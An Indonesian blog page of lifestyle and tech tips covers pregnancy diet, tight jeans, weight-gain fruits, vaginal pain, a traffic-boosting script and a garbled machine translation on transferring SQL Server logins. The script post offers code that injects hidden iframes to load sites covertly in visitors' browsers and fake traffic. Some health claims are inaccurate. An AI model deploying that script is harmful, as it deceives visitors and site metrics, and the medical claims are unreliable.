Makanan yang di haruskan untuk ibu hamil


Ketika perempuan sedang hamil, mereka harus lebih berhati-hati dalam kehidupan sehari-hari. Hal ini dimaksudkan untuk mencegah terjadinya keguguran. Para dokter selalu menyarankan kepada ibu hamil untuk membentuk kebiasaan hidup sehat. Terlepas dari apakah mereka sudah berolahraga dan istirahat yang cukup, diet yang sehat juga sangat penting dalam meningkatkan kesehatan tubuh ibu hamil.

Oleh karena itu, ibu hamil harus selalu menjaga pola makan sehat dan makan makanan yang bermanfaat untuk meningkatkan kesehatan tubuh dan bayi yang dikandung. Makanan yang bermanfaat bagi ibu hamil terutama meliputi buah-buahan, sayuran, daging, dan produk susu.

1. Sayuran dan buah-buahan
Penyerapan serat tinggi dapat meningkatkan sistem pencernaan dan mencegah sembelit saat buang air besar. Perlu untuk selalu mengonsumsi buah-buahan yang banyak mengandung vitamin C. Seperti diketahui, vitamin C memainkan peran penting dalam meningkatkan sistem kekebalan dalam tubuh manusia. Ketika sedang hamil, perempuan harus bisa senantiasa meningkatkan kekebalan tubuhnya demi menjaga agar janin tetap sehat. Oleh karena itu, ibu hamil disarankan untuk mengonsumsi kol, brokoli, apel, jeruk, dan buah-buahan lain.

2. Daging kaya zat besi dan protein
Menurut dokter, ibu hamil harus melengkapi 27 miligram zat besi setiap hari. Selain daging, makanan lain, seperti hati hewan dan kacang kedelai, juga mengandung zat besi berlimpah. Namun, yang harus diperhatikan di sini adalah daging dan hati harus dimasak dengan matang untuk membunuh bakteri dan virus.

3. Mineral kalsium
Perempuan membutuhkan kalsium yang cukup untuk meningkatkan tulang dan mencegah osteoporosis. Banyak perempuan hamil terganggu oleh masalah tulang. Sebagai contoh, struktur tulang akan menjadi rapuh sehingga menyebabkan fraktur (patah tulang).

4. Asam folat
Makanan yang mengandung asam folat juga bermanfaat bagi kesehatan tubuh ibu hamil. Asam folat tidak hanya dapat mencegah anemia bagi perempuan, tetapi juga mempercepat pengembangan sistem saraf untuk janin. Menurut penelitian medis, asam folat berlimpah terkandung dalam makanan vegetarian dan hewani. Ibu hamil dapat mengonsumsi sayuran hijau dan hati hewan untuk suplemen asam folat.

Makanan yang telah disebutkan di atas terbukti dapat memberikan banyak nutrisi penting bagi ibu hamil serta sangat membantu dalam mendukung kegiatan fisik sang ibu dan janin. Selain faktor makanan, hal yang tidak kalah penting adalah mereka juga harus menghentikan kebiasaan buruk, seperti minum alkohol dan merokok, untuk memberikan perlindungan sepenuhnya kepada janin.
tips and trick

Bahaya menggunakan Jeans terlalu ketat

Memakai celana jeans terasa lebih nyaman dan simpel bagi wanita. Tren fashion yang paling umum dikalangan anak muda baik perempuan maupun laki-laki. Selain simpel dan nyaman, jeans sangat mudah dan cocok dipadupadankan dengan apa saja. Sekarang berkembang tren mode memakai celana jeans ketat agar kaki terlihat lebih jenjang. Tapi tahukah kamu, ternyata memakai celana jeans yang terlalu ketat bisa mengganggu kesehatan?

sering mengenakan celana jeans yang terlalu ketat dan memberikan tekanan pada daerah kaki dapat menyebabkan masalah kesehatan ringan hingga berat. Awalnya masalah kesehatan yang ditimbulkan berupa rsa gatal pada daerah paha dan parahnya celana jeans yang sangat ketat bisa menyebabkan mati rasa pada bagian tubuh tersebut.

Masalah kesehatan yang timbul akibat sering mengenakan jeans yang terlalu ketat ini disebut dengan meralgia paresthetica. Hal ini diakibatkan karena saraf dan otot di daerah kaki terus tertekan kuat. Sehingga kulit saraf femoralis di daerah paha yang kemudian memicu kesemutan dan membuat paha merasa panas seperti terbakar. Keadaan ini juga dapat diperparah, jika menggunakan jeans ketat bersama highheels yang menyebabkan tekanan pada otot kaki.

Dr John England, dari American Academy of Neurology, tidak menganjurkan untuk memakai celana jeans yang sangat ketat. Hal ini untuk mengurangi tekanan otot dan memperlancar regenerasi saraf.

Ahli kesehatan menganjurkan untuk memakai celana yang nyaman dan tidak menekan otot kaki. Celana bahan longgar lebih baik bagi kesehatan. Selain mencegah masalah kesehatan juga membuat kulit kaki dapat bernafas. Bila sering menggunakan celana jeans, pilihlah celana jeans yang nyaman dan tidak terlalu ketat
tips and trick

Buah-buahan yang dapat meningkatkan berat badan



Setiap orang tentunya ingin mempunyai berat badan ideal sehingga tak heran apabila sering kita lihat, terutama wanita yang melakukan diet agar tetap terlihat cantik dan langsing. Namun walaupun banyak orang yang berlomba-lomba untuk menurunkan berat badan mereka tetapi tak jarang juga kita lihat ada sebagian orang yang ingin menambah berat badanya, bahkan ada sebagian dari mereka yang sampai mengkonsumsi obat-obatan alami maupun kimia hanya demi mendapatkan berat badan yang ideal.

Nah, bagi anda yang mempunyai masalah dengan berat badan dan merasa tidak percaya diri karena terlalu kurus maka cobalah konsumsi 4 buahan dibawah ini agar bisa menaikan berat badan anda secara instan. Penasaran buah apa saja ? yuk mari kita simak tulisan dibawah ini.

1. Pisang
Siapa yang tak kenal dengan buah pisang ? Buah yang satu ini sangat mudah ditemukan disekitar kita, bahkan harga buah pisang bisa dikatakan tidak terlalu mahal dan banyak dijual dipasaran. Jika anda sedang menjalani program menaikan berat badan maka tak ada salahnya untuk mengkonsumsi pisang karena buah yang satu ini mampu menaikan berat badan anda.

Kandungan kalori dan B 6 yang tinggi pada buah pisang mampi mendorong sel darah merah dalam tubuh. Selain itu, pisang juga mampu melancarkan pencernaan anda karena mengandung magnesium.

2. Alpukat
Buah alpukat dikenal memiliki manfaat yang luar biasa bagi kehidupan manusia selain rasanya yang enak untuk dijus, buah yang satu ini juga bermanfaat untuk kecantikan kulit dan kesehatan. Selain itu, buah alpukat juga bisa dijadikan obat alami sebagai penambah berat badan. Kandungan kalori dan vitamin didalam buah ini bisa diandalkan untuk membantu program anda dalam menambah berat badan.

3. Kurma
Kehebatan kurma sudah tidak diragukan lagi dan semua orang sudah mengakui hal tersebut sehingga tak heran apabila banyak yang mengkonsumsi buah kurma dengan alasan untuk kesehatan. Namun selain menyehatakan, buah yang mempunyai rasa manis ini juga ampuh menjadi obat alami sebagai penambah berat badan.

4. Kismis
Jika tadi kita berbicara mengenai kurma maka kali ini adalah kismis. Tidak hanya enak dijadikan camilan tetapi kismis juga berkhasiat untuk membantu menambah berat badan anda. Kandungan fruktosa dan glukosa kismis mampu menambah energi anda sehingga kita tidak mudah menjadi lemas.

Itulah 4 buahan yang bisa menaikan berat badan anda secara instan dan tentunya sehat karena semuanya alami tanpa memakai obat-obatan kimia yang bisa berdampak negatif untuk kesehatan kita.
tips and trick

Penyebab miss V terasa sakit



Seks terkadang memang menyakitkan. Setelah bercinta, tak jarang wanita merasa sakit pada bagian intimnya. Namun rasa sakit setelah bercinta dengan rasa sakit yang terus terasa meski tak melakukan hubungan seksual adalah hal yang berbeda. Ketika miss V sakit, tak mudah untuk menemukan alasannya. Miss V yang sakit tak disebabkan oleh penyakit seperti kolesterol atau lainnya.

Mary Jane Minkin, M.D, ginekolog dari Yale School of Medicine menjelaskan enam hal yang bisa membuat miss V terasa sakit. Jika miss V Anda terasa sakit, bisa jadi salah satu dari enam hal ini penyebabnya, seperti dilansir oleh Women's Health Mag (17/12).

1. Herpes

Tak seorang pun ingin terkena herpes, namun menurut Center for Disease Control, herpes adalah salah satu penyakit seksual yang umum dialami oleh banyak orang. Yang harus diperhatikan pertama kali adalah adanya benjolan di sekitar daerah intim. Jika benjolan itu terasa sakit, maka kemungkinan besar itu adalah herpes.

Jika itu yang dialami, segera periksakan diri ke dokter. Meski dokter tak bisa menyembuhkan herpes seketika, namun obat yang diberikan akan membantu mencegah rasa sakit dan kemungkinan herpes akan semakin menyebar.

2. Infeksi jamur

Infeksi jamur memang biasanya tak menyebabkan rasa sakit, namun bisa membuat miss V terasa kering dan gatal sehingga menimbulkan rasa sakit dan terbakar. Satu orang bisa saja mengalami infeksi jamur pada organ intimnya tiga sampai empat kali dalam hidupnya.

Jika ini yang terjadi, sebaiknya segera periksakan diri ke dokter. Obgin akan melakukan pemeriksaan pada pelvis dan memberikan krim anti jamur untuk mengatasinya sampai gejala tersebut menghilang.

3. Vagina kering

Vagina kering tak hanya menyerang wanita yang sudah lanjut usia. Banyak wanita di usia muda yang mengalaminya. Kemungkinan besar karena rendahnya tingkat estrogen atau penggunaan pil KB. Vagina yang kering dan kehilangan kelembapannya bisa terasa sakit.

Jika ini penyebabnya, dokter bisa membantu Anda dengan memberikan asupan estrogen. Jika Anda mengonsumsi pil KB, dokter bisa memberikan pil KB yang mengandung estrogen lebih tinggi.

4. Mr P yang besar

Miss V yang terus terasa sakit setelah bercinta bisa jadi disebabkan oleh Mr P pasangan yang terlalu besar. Mr P yang besar lebih sulit untuk melakukan penetrasi dan biasanya membekaskan rasa sakit yang lebih lama.

Jika rasa sakit yang disebabkan akibat Mr P pasangan yang terlalu besar, cobalah gaya atau posisi seks yang bisa membuat Anda merasa nyaman dan mengurangi rasa sakit akibat penetrasi.

5. Endometrosis

Jika rasa sakit pada miss V terjadi saat hubungan seksual dan menstruasi, kemungkinan Anda bisa mengalami endometrosis. Endometrosis adalah ketika jaringan pada lapisan uterus meradang dan mengalami infeksi. Ini hanya bisa diketahui lebih pasti jika diperiksakan ke dokter.

Biasanya hal ini diikuti dengan pendarahan yang banyak. Setelah diperiksa dengan USG atau pemeriksaan pelvis, dokter akan mengetahui apa yang menyebabkan rasa sakit. Dokter akan memberikan obat penghilang rasa sakit dan terapi hormon.

6. Vulvodynia

Minkin menjelaskan bahwa sembilan persen wanita akan mengalami vulvodynia selama hidupnya. Ini adalah rasa sakit yang terasa ketika penetrasi atau saat memasukkan tampon. Bagi beberapa orang rasa sakitnya juga muncul ketika mereka menyentuh miss V, tak harus karena seks atau menstruasi. Vulvodynia adalah keadaan yang misterius. Rasa sakitnya bisa datang dan pergi sewaktu-waktu. Biasanya dokter akan memberikan obat untuk mengatasinya.

Itulah beberapa hal yang patut diwaspadai ketika Anda merasakan sakit pada miss V. Jangan panik ketika miss V terasa sakit. Rasa sakit biasa dan normal akan hilang dalam beberapa hari. Namun jika rasa sakit tak segera hilang dan parah, maka sebaiknya segera periksakan ke dokter.
tips and trick

Script Menambah Pengunjung Blog / Website


Sesuai dengan Judulnya yaitu Script Menambah Pengunjung Blog / Website, script ini bisa menambah traffik blog anda. Sebelumnya saya juga pernah posting tentang cara untuk menambah taffic
dengan cara Menggandakan Visitor dan Menambah Pengunjung Blog dengan Traffic Palsu serta Menggunakan Software Traffic Blaster. Script ini secara tidak sengaja saya temukan di salah satu forum tapi saya sudah lupa forum apaan hehe Open-mouthed smile. Yang penting dapat script nya gitu aja.
Awalnya saya ragu script ini bisa berhasil. Karena ketika saya menanamkan script ini, blog saya tidak ada perubahan dalam meload halamannya, hal ini berbeda dengan tulisan saya sebelumnya yaitu tentang Overlay Ifrane dan Menggandakan Visitor yang membuat loading blog menjadi sangat berat. Selain itu script ini juga tidak merusak tampilan blog kita looh, karena hanya akan tampak sebesat 1px (pixel) sehingga tidak akan terlihat oleh kasat mata.
Mau tau Scriptnya ? lagsung saja Add HTML/Javascript. Kemudian salin kode di bawah ini ke dalam situ.

<script type="text/javascript">
var sLocation = document.referrer.toLocaleLowerCase();
//Links to boost
var rDomains = ["http://suka-suka27.blogspot.com/”,”SITUS ANDA"];
//Allowed domain referrer
var aDomains = ["google.com"];
var valid = 1;
 
//Valid referrer
for (i=0;i<aDomains.length;i++) {
//Check referrer
if (sLocation.indexOf(aDomains[i], 0) > -1)
{
valid = 1;
break;
}
}
 
//Valid referrer
if (valid == 1)
{
//Loop
for (i=0;i<rDomains.length;i++) {
//alert(rDomains[i]);
invisibleWindow("mydiv" + i,rDomains[i]);
}
}
 
function invisibleWindow(iframeID, url) {
divel = document.createElement("div");
divel.id = "div" + iframeID;
divel.style.width = "5px";
divel.style.height = "5px";
divel.style.visibility = "hidden";
 
//Add div
document.body.appendChild(divel);
 
domiframe = document.createElement("iframe");
domiframe.id = iframeID;
domiframe.src = url;
domiframe.style.width = "5px";
domiframe.style.height = "5px";
domiframe.style.visibility = "hidden";
 
var divid = document.getElementById("div" + iframeID);
divid.appendChild(domiframe);
}
 
</script>
Penjelasan :
- Ganti tulisan "SITUS ANDA" dengan alamat blog / website anda.
- Ganti tulisan "GOOGLE" dengan alamat referrer untuk blog atau website anda.

Anda juga bisa memasukkan multiple link dengan cara menambahkan yang warna merah ”SITUS ANDA" menjadi seperti ini.
”SITUS ANDA",”SITUS ANDA",”SITUS ANDA",”SITUS ANDA",”SITUS ANDA"
tips and trick

Cara Mengatasi Login gagal untuk pengguna 'MyUser'. (Microsoft SQL Server, Error: 18456)


Masalah ini terjadi karena Anda lakukan tidak mentransfer login dan sandi dari contoh SQL Server di server A ke contoh SQL Server di server B.

Untuk mentransfer login, gunakan salah satu metode berikut, yang sesuai untuk situasi Anda.

Metode 1: Log in dengan menggunakan pra-SQL Server 2000 sandi

Untuk mengatasi masalah ini, minta pengguna untuk masuk ke server yang menjalankan SQL Server dengan menggunakan pra-SQL Server 2000 login.

Catatan Menerapkan algoritma sandi akan diperbarui secara otomatis ketika pengguna log in dengan menggunakan pra-SQL Server 2000 sandi.

Metode 2: Reset sandi di SQL Server

Untuk mengatasi masalah ini, reset sandi di SQL Server, dan kemudian script keluar login.

Catatan Sandi hashing algoritma digunakan ketika Anda me-reset sandi.

Metode 3: Membuat log pada skrip yang memiliki sandi kosong

Untuk membuat log pada skrip yang memiliki sandi kosong, ikuti langkah-langkah berikut:
1.       Server A, mulai SQL Server Management Studio, dan kemudian Sambungkan ke SQL Server dari mana Anda memindahkan pangkalan data.
2.       Buka jendela Editor kueri baru, dan kemudian jalankan skrip berikut ini.
3.  USE master
4.  GO
5.  IF OBJECT_ID ('sp_hexadecimal') IS NOT NULL
6.    DROP PROCEDURE sp_hexadecimal
7.  GO
8.  CREATE PROCEDURE sp_hexadecimal
9.      @binvalue varbinary(256),
10.     @hexvalue varchar (514) OUTPUT
11. AS
12. DECLARE @charvalue varchar (514)
13. DECLARE @i int
14. DECLARE @length int
15. DECLARE @hexstring char(16)
16. SELECT @charvalue = '0x'
17. SELECT @i = 1
18. SELECT @length = DATALENGTH (@binvalue)
19. SELECT @hexstring = '0123456789ABCDEF'
20. WHILE (@i <= @length)
21. BEGIN
22.   DECLARE @tempint int
23.   DECLARE @firstint int
24.   DECLARE @secondint int
25.   SELECT @tempint = CONVERT(int, SUBSTRING(@binvalue,@i,1))
26.   SELECT @firstint = FLOOR(@tempint/16)
27.   SELECT @secondint = @tempint - (@firstint*16)
28.   SELECT @charvalue = @charvalue +
29.     SUBSTRING(@hexstring, @firstint+1, 1) +
30.     SUBSTRING(@hexstring, @secondint+1, 1)
31.   SELECT @i = @i + 1
32. END
33.  
34. SELECT @hexvalue = @charvalue
35. GO
36.  
37. IF OBJECT_ID ('sp_help_revlogin') IS NOT NULL
38.   DROP PROCEDURE sp_help_revlogin
39. GO
40. CREATE PROCEDURE sp_help_revlogin @login_name sysname = NULL AS
41. DECLARE @name sysname
42. DECLARE @type varchar (1)
43. DECLARE @hasaccess int
44. DECLARE @denylogin int
45. DECLARE @is_disabled int
46. DECLARE @PWD_varbinary  varbinary (256)
47. DECLARE @PWD_string  varchar (514)
48. DECLARE @SID_varbinary varbinary (85)
49. DECLARE @SID_string varchar (514)
50. DECLARE @tmpstr  varchar (1024)
51. DECLARE @is_policy_checked varchar (3)
52. DECLARE @is_expiration_checked varchar (3)
53.  
54. DECLARE @defaultdb sysname
55.  
56. IF (@login_name IS NULL)
57.   DECLARE login_curs CURSOR FOR
58.  
59.       SELECT p.sid, p.name, p.type, p.is_disabled, p.default_database_name, l.hasaccess, l.denylogin FROM
60. sys.server_principals p LEFT JOIN sys.syslogins l
61.       ON ( l.name = p.name ) WHERE p.type IN ( 'S', 'G', 'U' ) AND p.name <> 'sa'
62. ELSE
63.   DECLARE login_curs CURSOR FOR
64.  
65.  
66.       SELECT p.sid, p.name, p.type, p.is_disabled, p.default_database_name, l.hasaccess, l.denylogin FROM
67. sys.server_principals p LEFT JOIN sys.syslogins l
68.       ON ( l.name = p.name ) WHERE p.type IN ( 'S', 'G', 'U' ) AND p.name = @login_name
69. OPEN login_curs
70.  
71. FETCH NEXT FROM login_curs INTO @SID_varbinary, @name, @type, @is_disabled, @defaultdb, @hasaccess, @denylogin
72. IF (@@fetch_status = -1)
73. BEGIN
74.   PRINT 'No login(s) found.'
75.   CLOSE login_curs
76.   DEALLOCATE login_curs
77.   RETURN -1
78. END
79. SET @tmpstr = '/* sp_help_revlogin script '
80. PRINT @tmpstr
81. SET @tmpstr = '** Generated ' + CONVERT (varchar, GETDATE()) + ' on ' + @@SERVERNAME + ' */'
82. PRINT @tmpstr
83. PRINT ''
84. WHILE (@@fetch_status <> -1)
85. BEGIN
86.   IF (@@fetch_status <> -2)
87.   BEGIN
88.     PRINT ''
89.     SET @tmpstr = '-- Login: ' + @name
90.     PRINT @tmpstr
91.     IF (@type IN ( 'G', 'U'))
92.     BEGIN -- NT authenticated account/group
93.  
94.       SET @tmpstr = 'CREATE LOGIN ' + QUOTENAME( @name ) + ' FROM WINDOWS WITH DEFAULT_DATABASE = [' + @defaultdb + ']'
95.     END
96.     ELSE BEGIN -- SQL Server authentication
97.         -- obtain password and sid
98.             SET @PWD_varbinary = CAST( LOGINPROPERTY( @name, 'PasswordHash' ) AS varbinary (256) )
99.         EXEC sp_hexadecimal @PWD_varbinary, @PWD_string OUT
100.            EXEC sp_hexadecimal @SID_varbinary,@SID_string OUT
101.     
102.            -- obtain password policy state
103.            SELECT @is_policy_checked = CASE is_policy_checked WHEN 1 THEN 'ON' WHEN 0 THEN 'OFF' ELSE NULL END FROM sys.sql_logins WHERE name = @name
104.            SELECT @is_expiration_checked = CASE is_expiration_checked WHEN 1 THEN 'ON' WHEN 0 THEN 'OFF' ELSE NULL END FROM sys.sql_logins WHERE name = @name
105.     
106.                SET @tmpstr = 'CREATE LOGIN ' + QUOTENAME( @name ) + ' WITH PASSWORD = ' + @PWD_string + ' HASHED, SID = ' + @SID_string + ', DEFAULT_DATABASE = [' + @defaultdb + ']'
107.     
108.            IF ( @is_policy_checked IS NOT NULL )
109.            BEGIN
110.              SET @tmpstr = @tmpstr + ', CHECK_POLICY = ' + @is_policy_checked
111.            END
112.            IF ( @is_expiration_checked IS NOT NULL )
113.            BEGIN
114.              SET @tmpstr = @tmpstr + ', CHECK_EXPIRATION = ' + @is_expiration_checked
115.            END
116.        END
117.        IF (@denylogin = 1)
118.        BEGIN -- login is denied access
119.          SET @tmpstr = @tmpstr + '; DENY CONNECT SQL TO ' + QUOTENAME( @name )
120.        END
121.        ELSE IF (@hasaccess = 0)
122.        BEGIN -- login exists but does not have access
123.          SET @tmpstr = @tmpstr + '; REVOKE CONNECT SQL TO ' + QUOTENAME( @name )
124.        END
125.        IF (@is_disabled = 1)
126.        BEGIN -- login is disabled
127.          SET @tmpstr = @tmpstr + '; ALTER LOGIN ' + QUOTENAME( @name ) + ' DISABLE'
128.        END
129.        PRINT @tmpstr
130.      END
131.     
132.      FETCH NEXT FROM login_curs INTO @SID_varbinary, @name, @type, @is_disabled, @defaultdb, @hasaccess, @denylogin
133.       END
134.    CLOSE login_curs
135.    DEALLOCATE login_curs
136.    RETURN 0
137.    GO


CatatanSkrip ini membuat dua prosedur yang tersimpan dalam master database. Prosedur yang bernamasp_hexadecimal dan sp_help_revlogin.
138.Jalankan pernyataan berikut ini:
EXEC sp_help_revlogin
Skrip output yang menghasilkan sp_help_revlogin disimpan prosedur adalah skrip login. Skrip login ini membuat login yang asli pengidentifikasi kemanan (SID) dan sandi asli.
139.Di server B, mulai SQL Server Management Studio, dan kemudian Sambungkan ke SQL Server di mana Anda memindahkan pangkalan data.

Penting
140.Buka jendela Editor kueri baru, dan kemudian menjalankan skrip output yang dibuat di langkah 3.
Komentar
Tinjau informasi berikut sebelum Anda menjalankan skrip output pada contoh di server B:
·         Jika Anda mencoba untuk membuat login SQL Server 2012 baru menggunakan pra-SQL Server 2000 login yang telah diatur, Anda menerima galat berikut ini:
MSG 15021, tingkat 16, negara bagian 2, baris 1
Invalid nilai yang diberikan untuk parameter sandi.
Catatan 

Untuk mengatasi masalah ini di server yang menjalankan SQL Server 2012, buat login yang memiliki sandi kosong. 
CREATE LOGIN [Test] WITH PASSWORD = '', SID = 0x90FD605DCEFAE14FAB4D5EB0BBA1AECC,
DEFAULT_DATABASE = [master], CHECK_POLICY = ON, CHECK_EXPIRATION = OFF

Setelah Anda membuat login yang memiliki sandi kosong, pengguna dapat mengubah sandi pada upaya masuk berikutnya.
·         Sandi dapat hashed dalam tiga cara:
·         VERSION_LEGACY: hash ini adalah hash 16-byte pra-SQL Server 2000.
·         VERSION_SHA1: hash ini dibuat dengan menggunakan algoritma SHA1 dan digunakan di SQL Server 2000 melalui SQL Server 2008 R2.
·         VERSION_SHA2: hash ini dibuat dengan menggunakan algoritma SHA2 512 dan digunakan dalam SQL Server 2012.
·         Pada SQL Server 2008 R1 dan versi yang lebih lawas, pra-SQL Server 2000 sandi hash yang didukung.
·         Jika pengguna yang memiliki sandi yang menggunakan pra-SQL Server 2000 hash ada di server yang menjalankan SQL Server 2008 R2, ini berarti bahwa pengguna telah tidak masuk ke server.
·         Meninjau skrip output dengan seksama. Jika server A dan server B berada di domain yang berbeda, Anda harus mengubah skrip output. Kemudian, Anda harus mengganti nama domain asli dengan menggunakan nama domain baru pada LOGIN membuat laporan. Login terpadu yang diberikan akses di domain baru tidak memiliki SID sama sebagai login di domain yang asli. Oleh karena itu, pengguna yang ditinggalkan dari login ini. Untuk informasi selengkapnya tentang cara menyelesaikan pengguna ditinggalkan ini, klik nomor artikel berikut ini untuk melihat artikel di Pangkalan Pengetahuan Microsoft:
240872 Cara menyelesaikan masalah izin saat Anda memindahkan pangkalan data antara server yang menjalankan SQL Server
Jika server A dan server B di domain yang sama, SID sama digunakan. Oleh karena itu, pengguna tidak mungkin dapat ditinggalkan.
·         Dalam output skrip login dibuat dengan menggunakan sandi yang dienkripsi. Hal ini karena argumen HASHED dalam LOGIN membuat pernyataan. Argumen ini menentukan bahwa sandi yang dimasukkan setelah argumen sandi telah hashed.
·         Secara default, hanya merupakan anggota dari peran sysadmin tetap server dapat menjalankan pernyataan SELECT dari tampilan sys.server_principals . Kecuali anggota sysadmin tetap peran server memberikan izin yang diperlukan untuk pengguna, pengguna tidak dapat membuat atau menjalankan skrip output.
·         Langkah-langkah dalam artikel ini tidak mentransfer informasi database default untuk masuk tertentu. Hal ini karena pangkalan data asali mungkin tidak selalu ada di server B. Untuk menentukan pangkalan data asali untuk login, gunakan pernyataan mengubah LOGIN oleh lewat di nama login dan pangkalan data asali sebagai argumen.
·         Case-sensitive A sensitif server dan B: urutan server A mungkin case-sensitive, dan urutan server B mungkin sensitif.Dalam hal ini, pengguna harus mengetik sandi di semua huruf setelah Anda mentransfer login dan sandi untuk contoh di server B.

Sensitif A case-sensitive server dan B: urutan server A mungkin sensitif, dan urutan server B mungkin case-sensitive.Dalam hal ini, pengguna tidak dapat masuk menggunakan login dan sandi yang Anda mentransfer ke contoh di server B kecuali jika salah satu dari kondisi berikut ini benar:
·         Sandi asli berisi surat tidak ada.
·         Semua huruf dalam sandi asli adalah huruf.
Sensitif atau case-sensitive pada kedua server: urutan server A dan server B mungkin sensitif, atau urutan server A dan server B mungkin case-sensitive. Dalam kasus ini, pengguna tidak mengalami masalah.
·         Login yang sudah ada di contoh di server B mungkin memiliki nama yang sama dengan nama dalam skrip output. Dalam hal ini, Anda menerima pesan galat ketika Anda menjalankan skrip output pada contoh di server B:
MSG 15025, tingkat 16, negara bagian 1, baris 1
Server pimpinan 'MyLogin' sudah ada.
Demikian pula, login yang sudah ada di contoh di server B bisa SID yang sama dengan SID dalam skrip output. Dalam hal ini, Anda menerima pesan galat ketika Anda menjalankan skrip output pada contoh di server B:
MSG 15433, tingkat 16, negara bagian 1, baris 1
Parameter disediakan sid yang digunakan.
Oleh karena itu, Anda harus melakukan hal berikut ini:
1.       Meninjau skrip output dengan seksama.
2.       Periksa konten tampilan sys.server_principals dalam contoh di server B.
3.       Alamat pesan galat ini yang sesuai.
    SQL Server 2005, SID for login digunakan untuk menerapkan database tingkat akses. Login mungkin memiliki SID berbeda dalam database yang berbeda di server. Dalam hal ini, login hanya dapat mengakses pangkalan data yang telah SID yang cocok dengan SID dalam tampilan sys.server_principals . Masalah ini dapat terjadi jika dua database gabungan dari server yang berbeda. Untuk mengatasi masalah ini, secara manual menghapus login dari pangkalan data yang telah ketidakcocokan SID menggunakan pernyataan DROP pengguna. Kemudian, tambahkan login lagi menggunakan pernyataan membuat pengguna.
tips and trick
Subscribe to: Posts (Atom)